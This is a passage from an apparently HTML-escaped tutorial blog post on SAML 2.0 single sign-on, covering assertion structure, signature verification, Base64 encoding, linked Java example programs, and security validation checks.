    &lt;span class="nt"&gt;&amp;lt;/saml:AudienceRestriction&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/saml:Conditions&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The idea is important:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The assertion should not simply be accepted by any application.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The Service Provider validates the assertion against the expected conditions.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;code&gt;&amp;lt;AuthnStatement&amp;gt;&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Provides information about how and when the user was authenticated.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;saml:AuthnStatement&amp;gt;&lt;/span&gt;
    Authentication Method = MFA
&lt;span class="nt"&gt;&amp;lt;/saml:AuthnStatement&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;code&gt;&amp;lt;AttributeStatement&amp;gt;&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Provides user attributes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;saml:AttributeStatement&amp;gt;&lt;/span&gt;

    Email = john.doe@company.com

    Department = Engineering

    Role = Administrator

&lt;span class="nt"&gt;&amp;lt;/saml:AttributeStatement&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ✍️ Why Is the SAML Assertion Digitally Signed?
&lt;/h2&gt;

&lt;p&gt;This is one of the most important security concepts in SAML.&lt;/p&gt;

&lt;p&gt;The Identity Provider signs the SAML Assertion using its &lt;strong&gt;private key&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The Service Provider uses the corresponding &lt;strong&gt;public key&lt;/strong&gt; to verify the signature.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;             Identity Provider

              Private Key
                   |
                   v
          +-------------------+
          | Sign Assertion    |
          +---------+---------+
                    |
                    | Signed Assertion
                    v
             Service Provider
                    |
                    v
              Public Key
                    |
                    v
          +-------------------+
          | Verify Signature  |
          +-------------------+
                    |
             Valid Signature?
              /           \
            Yes            No
             |              |
             v              v
        Trust Identity    Reject
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker modifies the Assertion after it has been signed, signature verification should fail.&lt;/p&gt;

&lt;p&gt;For example, suppose the original assertion contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Role = User
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker changes it to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Role = Administrator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The cryptographic signature no longer matches the modified document.&lt;/p&gt;

&lt;p&gt;The Service Provider should reject the assertion.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔐 Digital Signature ≠ Encryption
&lt;/h2&gt;

&lt;p&gt;A digital signature provides &lt;strong&gt;integrity and authenticity&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It does not automatically mean that the assertion is encrypted.&lt;/p&gt;

&lt;p&gt;This distinction is important.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Digital Signature
        |
        +--&amp;gt; Detect modification
        +--&amp;gt; Verify origin/authenticity

Encryption
        |
        +--&amp;gt; Protect confidentiality
        +--&amp;gt; Prevent unauthorized reading
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SAML can support encryption, but signing and encryption solve different security problems.&lt;/p&gt;




&lt;h2&gt;
  
  
  🌐 What Does the Browser Do?
&lt;/h2&gt;

&lt;p&gt;One of the interesting aspects of browser-based SAML SSO is that the browser participates in transporting the SAML Response.&lt;/p&gt;

&lt;p&gt;A simplified flow is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IdP
 |
 | SAML Response
 v
Browser
 |
 | POST
 v
SP / ACS Endpoint
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser is essentially transporting the response between the IdP and the SP.&lt;/p&gt;

&lt;p&gt;It is &lt;strong&gt;not&lt;/strong&gt; the trusted authority that authenticates the user.&lt;/p&gt;

&lt;p&gt;The Service Provider validates the received SAML information.&lt;/p&gt;




&lt;h2&gt;
  
  
  📦 What Is a SAML Response?
&lt;/h2&gt;

&lt;p&gt;The SAML Response is the protocol message returned to the Service Provider.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;samlp:Response&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;
        https://identity-provider.example.com
    &lt;span class="nt"&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;saml:Assertion&amp;gt;&lt;/span&gt;

        ...

    &lt;span class="nt"&gt;&amp;lt;/saml:Assertion&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/samlp:Response&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Response can contain the SAML Assertion.&lt;/p&gt;

&lt;p&gt;The exact structure depends on the SAML profile and configuration.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where Does Base64 Encoding Come In?
&lt;/h2&gt;

&lt;p&gt;SAML messages transported through browser-based bindings may be Base64 encoded.&lt;/p&gt;

&lt;p&gt;This is an important distinction:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Base64 is encoding, not encryption.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SAML XML
   |
   | Base64 Encode
   v
Encoded Data
   |
   | Transport
   v
Service Provider
   |
   | Base64 Decode
   v
SAML XML
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anyone who has the Base64 data can decode it.&lt;/p&gt;

&lt;p&gt;Therefore, Base64 should never be considered a security mechanism.&lt;/p&gt;

&lt;p&gt;The security of SAML comes from mechanisms such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Digital signatures&lt;/li&gt;
&lt;li&gt;HTTPS&lt;/li&gt;
&lt;li&gt;Assertion validation&lt;/li&gt;
&lt;li&gt;Trusted certificates&lt;/li&gt;
&lt;li&gt;Audience validation&lt;/li&gt;
&lt;li&gt;Time/condition validation&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  ☕ Exploring SAML with Java
&lt;/h2&gt;

&lt;p&gt;Now let's move from concepts to code.&lt;/p&gt;

&lt;p&gt;I've created several small Java programs that demonstrate the fundamental pieces of SAML.&lt;/p&gt;

&lt;p&gt;The source code is available here:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub — SAML Java Examples&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The examples include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CreateSAMLAssertion.java
ParseSAMLAssertion.java
SAMLBase64Encoding.java
XMLDigitalSignatureExample.java
SAMLFlowSimulation.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The goal isn't to build a production SAML implementation from scratch.&lt;/p&gt;

&lt;p&gt;Instead, the examples are intentionally small so that individual concepts can be understood independently.&lt;/p&gt;




&lt;h2&gt;
  
  
  Example 1 — Creating a SAML Assertion
&lt;/h2&gt;

&lt;p&gt;The first example is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CreateSAMLAssertion.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It demonstrates how a simplified SAML Assertion can be represented as an XML document.&lt;/p&gt;

&lt;p&gt;The example focuses on elements such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Issuer
Subject
Authentication Statement
Attribute Statement
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Java Program
     |
     v
Create XML
     |
     v
SAML Assertion
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is useful for understanding the structure of the assertion before dealing with a complete enterprise SAML implementation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/CreateSAMLAssertion.java" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/CreateSAMLAssertion.java&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Example 2 — Parsing a SAML Assertion
&lt;/h2&gt;

&lt;p&gt;The next example is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ParseSAMLAssertion.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This example demonstrates how Java's DOM parser can read an XML-based SAML Assertion and extract information such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;User&lt;/li&gt;
&lt;li&gt;Issuer&lt;/li&gt;
&lt;li&gt;Authentication method&lt;/li&gt;
&lt;li&gt;Attributes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SAML XML
   |
   v
DOM Parser
   |
   +----&amp;gt; Issuer
   |
   +----&amp;gt; NameID
   |
   +----&amp;gt; Authentication
   |
   +----&amp;gt; Attributes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is useful because a Service Provider needs to inspect and validate information contained in the received SAML message.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/ParseSAMLAssertion.java" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/ParseSAMLAssertion.java&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Example 3 — Base64 Encoding and Decoding
&lt;/h2&gt;

&lt;p&gt;The third example is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SAMLBase64Encoding.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It demonstrates the encoding and decoding process.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SAML XML
   |
   v
Base64 Encode
   |
   v
Encoded SAML
   |
   v
Base64 Decode
   |
   v
SAML XML
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Again, remember:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Base64 != Encryption
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Base64 changes the representation of the data; it does not make the data confidential.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/SAMLBase64Encoding.java" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/SAMLBase64Encoding.java&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Example 4 — XML Digital Signature
&lt;/h2&gt;

&lt;p&gt;The fourth example is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XMLDigitalSignatureExample.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This example demonstrates the cryptographic concept behind SAML digital signatures.&lt;/p&gt;

&lt;p&gt;It demonstrates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;RSA key generation&lt;/li&gt;
&lt;li&gt;Digital signing&lt;/li&gt;
&lt;li&gt;Signature verification&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The conceptual flow is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                RSA Key Pair

          +---------------------+
          |                     |
          | Private Key         | Public Key
          |                     |
          +----------+----------+
                     |
                     v

               Sign XML
                  |
                  v
             Signed XML
                  |
                  v
             Verify XML
                  |
             +----+----+
             |         |
           Valid     Invalid
             |         |
             v         v
          Trust      Reject
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This example is particularly useful for understanding why the Service Provider can trust a SAML Assertion after successful signature verification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/XMLDigitalSignatureExample.java" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/XMLDigitalSignatureExample.java&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Example 5 — Simulating the Complete SAML Flow
&lt;/h2&gt;

&lt;p&gt;The final example is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SAMLFlowSimulation.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This example brings the individual concepts together and simulates the overall SAML SSO process.&lt;/p&gt;

&lt;p&gt;The flow is represented as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. User requests application
          |
          v
2. Service Provider
          |
          v
3. Authentication Request
          |
          v
4. Identity Provider
          |
          v
5. User Authentication
          |
          v
6. Create SAML Assertion
          |
          v
7. Sign Assertion
          |
          v
8. SAML Response
          |
          v
9. Service Provider
          |
          v
10. Validate Assertion
          |
          v
11. Create Session
          |
          v
12. Access Granted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The source code is available here:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/SAMLFlowSimulation.java" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/SAMLFlowSimulation.java&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This example is particularly useful because it connects the individual concepts into one complete story.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔎 Authentication vs. Authorization
&lt;/h2&gt;

&lt;p&gt;SAML discussions often lead to confusion between these two concepts.&lt;/p&gt;

&lt;p&gt;They are related, but they are not the same.&lt;/p&gt;

&lt;h3&gt;
  
  
  Authentication
&lt;/h3&gt;

&lt;p&gt;Authentication answers:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Who are you?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Username + Password
MFA
Certificate
Biometrics
Smart Card
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Identity Provider typically performs the authentication.&lt;/p&gt;




&lt;h3&gt;
  
  
  Authorization
&lt;/h3&gt;

&lt;p&gt;Authorization answers:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What are you allowed to do?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User = john.doe

Role = Administrator

Permissions:
    Read
    Write
    Delete
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Service Provider typically applies application-specific authorization policies.&lt;/p&gt;

&lt;p&gt;A useful way to remember the distinction is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication
      |
      v
"Who are you?"
      |
      v
Authorization
      |
      v
"What can you access?"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🆚 SAML vs OAuth 2.0 vs JWT
&lt;/h2&gt;

&lt;p&gt;These technologies are frequently mentioned together, but they solve different problems.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;SAML&lt;/th&gt;
&lt;th&gt;OAuth 2.0&lt;/th&gt;
&lt;th&gt;JWT&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Primary role&lt;/td&gt;
&lt;td&gt;Enterprise SSO / federation&lt;/td&gt;
&lt;td&gt;Authorization&lt;/td&gt;
&lt;td&gt;Token format&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Typical format&lt;/td&gt;
&lt;td&gt;XML&lt;/td&gt;
&lt;td&gt;Protocol / bearer tokens&lt;/td&gt;
&lt;td&gt;JSON&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enterprise SSO&lt;/td&gt;
&lt;td&gt;Very common&lt;/td&gt;
&lt;td&gt;Not its primary purpose&lt;/td&gt;
&lt;td&gt;Not a protocol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web applications&lt;/td&gt;
&lt;td&gt;Common&lt;/td&gt;
&lt;td&gt;Common&lt;/td&gt;
&lt;td&gt;Common&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APIs&lt;/td&gt;
&lt;td&gt;Less common&lt;/td&gt;
&lt;td&gt;Very common&lt;/td&gt;
&lt;td&gt;Very common&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Digital signatures&lt;/td&gt;
&lt;td&gt;Common&lt;/td&gt;
&lt;td&gt;Depends on token/mechanism&lt;/td&gt;
&lt;td&gt;Commonly used&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;One important correction to a common misconception:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;JWT is a token format, not an authentication protocol by itself.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OAuth 2.0 is primarily an authorization framework.&lt;/p&gt;

&lt;p&gt;SAML is commonly used for enterprise identity federation and browser-based SSO.&lt;/p&gt;




&lt;h2&gt;
  
  
  🛡️ SAML Security Considerations
&lt;/h2&gt;

&lt;p&gt;SAML involves identity information, so validation is critical.&lt;/p&gt;

&lt;p&gt;A Service Provider should not simply decode a SAML Response and trust whatever it contains.&lt;/p&gt;

&lt;p&gt;Important checks include:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Verify the Digital Signature
&lt;/h3&gt;

&lt;p&gt;The SP should verify the signature against a trusted IdP certificate.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Validate the Issuer
&lt;/h3&gt;

&lt;p&gt;The SP should verify that the assertion came from the expected Identity Provider.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Validate the Audience
&lt;/h3&gt;

&lt;p&gt;The SP should ensure that the assertion is intended for that Service Provider.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Validate Time Conditions
&lt;/h3&gt;

&lt;p&gt;Expired assertions should be rejected.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. Use HTTPS
&lt;/h3&gt;

&lt;p&gt;SAML messages should be transported over secure channels.&lt;/p&gt;




&lt;h3&gt;
  
  
  6. Protect the IdP Private Key
&lt;/h3&gt;

&lt;p&gt;The private signing key is extremely sensitive.&lt;/p&gt;

&lt;p&gt;If an attacker obtains it, the trust relationship can be severely compromised.&lt;/p&gt;




&lt;h3&gt;
  
  
  7. Rotate Certificates
&lt;/h3&gt;

&lt;p&gt;Certificates should be managed and rotated according to organizational security policies.&lt;/p&gt;




&lt;h3&gt;
  
  
  8. Consider Replay Protection
&lt;/h3&gt;

&lt;p&gt;A previously valid SAML message should not be accepted repeatedly outside its intended validity window.&lt;/p&gt;

&lt;p&gt;SAML implementations and toolkits provide mechanisms for handling message identifiers and replay protection.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧠 The Most Important Thing to Understand
&lt;/h2&gt;

&lt;p&gt;If you remember only one thing from this article, remember this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The IdP authenticates the user.

The IdP creates a signed assertion.

The browser transports the response.

The SP validates the assertion.

The SP creates the application session.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or even more simply:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;             AUTHENTICATION
                    |
                    v
                   IdP
                    |
             Signed Assertion
                    |
                    v
                   SP
                    |
              AUTHORIZATION
                    |
                    v
              Application
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That mental model makes the rest of SAML much easier to understand.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔗 Explore the Java Examples
&lt;/h2&gt;

&lt;p&gt;All five Java examples are available in my GitHub repository:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SAML Java Examples&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;They are intentionally small and focused on individual concepts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CreateSAMLAssertion.java
        |
        +--&amp;gt; Create simplified Assertion

ParseSAMLAssertion.java
        |
        +--&amp;gt; Parse XML Assertion

SAMLBase64Encoding.java
        |
        +--&amp;gt; Encode / Decode

XMLDigitalSignatureExample.java
        |
        +--&amp;gt; Sign / Verify

SAMLFlowSimulation.java
        |
        +--&amp;gt; Complete SSO Flow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  📚 Go Deeper: SAML Reference
&lt;/h2&gt;

&lt;p&gt;This article takes a practical, engineering-focused approach to understanding&lt;br&gt;
SAML 2.0 and Enterprise Single Sign-On.&lt;/p&gt;

&lt;p&gt;If you'd like a more structured reference covering the concepts in greater&lt;br&gt;
depth, I've also created a dedicated &lt;strong&gt;SAML Authentication&lt;/strong&gt; page in my&lt;br&gt;
Software Engineering Knowledge Base.&lt;/p&gt;

&lt;p&gt;The reference page covers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SAML Authentication and Single Sign-On (SSO)&lt;/li&gt;
&lt;li&gt;Identity Provider (IdP) and Service Provider (SP)&lt;/li&gt;
&lt;li&gt;Detailed SAML authentication flow&lt;/li&gt;
&lt;li&gt;SAML Assertions and their XML structure&lt;/li&gt;
&lt;li&gt;Authentication, Attribute, and Authorization statements&lt;/li&gt;
&lt;li&gt;Digital signatures and signature verification&lt;/li&gt;
&lt;li&gt;Authentication vs. Authorization&lt;/li&gt;
&lt;li&gt;SAML vs. OAuth 2.0 vs. JWT&lt;/li&gt;
&lt;li&gt;SAML security best practices&lt;/li&gt;
&lt;li&gt;Java examples for parsing, encoding, signing, and simulating SAML flows&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔗 SAML Authentication — Software Engineering Knowledge Base
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://clockwiseknowledge.com/se/saml.html" rel="noopener noreferrer"&gt;https://clockwiseknowledge.com/se/saml.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Java examples discussed in this article are also available in the&lt;br&gt;
accompanying GitHub repository:&lt;/p&gt;

&lt;h3&gt;
  
  
  💻 SAML Java Examples
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  📖 References and Further Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;OASIS — Security Assertion Markup Language (SAML) v2.0&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The official SAML 2.0 standard.&lt;br&gt;
&lt;a href="https://www.oasis-open.org/standards/?utm_source=chatgpt.com#samlv2.0" rel="noopener noreferrer"&gt;https://www.oasis-open.org/standards/?utm_source=chatgpt.com#samlv2.0&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;OASIS — SAML 2.0 Technical Overview&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;a href="https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0-cd-02.html" rel="noopener noreferrer"&gt;https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0-cd-02.html&lt;/a&gt;&lt;br&gt;
A technical overview of SAML concepts, assertions, protocols, bindings,&lt;br&gt;
profiles, and SSO flows.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;OWASP — SAML Security Cheat Sheet&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html" rel="noopener noreferrer"&gt;https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html&lt;/a&gt;&lt;br&gt;
Practical guidance for securely implementing and validating SAML,&lt;br&gt;
including signature validation, replay protection, XML Signature Wrapping,&lt;br&gt;
audience validation, and certificate/key considerations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Microsoft Learn — SAML Single Sign-On Protocol&lt;/strong&gt; &lt;br&gt;
&lt;a href="https://learn.microsoft.com/en-us/entra/identity-platform/single-sign-on-saml-protocol" rel="noopener noreferrer"&gt;https://learn.microsoft.com/en-us/entra/identity-platform/single-sign-on-saml-protocol&lt;/a&gt; &lt;br&gt;
A practical reference for SAML-based SSO implementation.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🎯 Conclusion
&lt;/h2&gt;

&lt;p&gt;SAML can initially seem complicated because there are many pieces involved: Identity Providers, Service Providers, Authentication Requests, Responses, Assertions, XML, certificates, digital signatures, browser redirects, and validation rules.&lt;/p&gt;

&lt;p&gt;But once the flow is understood, the architecture becomes much clearer.&lt;/p&gt;

&lt;p&gt;The central idea is simple:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Authenticate once with a trusted Identity Provider and securely communicate that authentication result to the application.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The Identity Provider authenticates the user and creates a SAML Assertion.&lt;/p&gt;

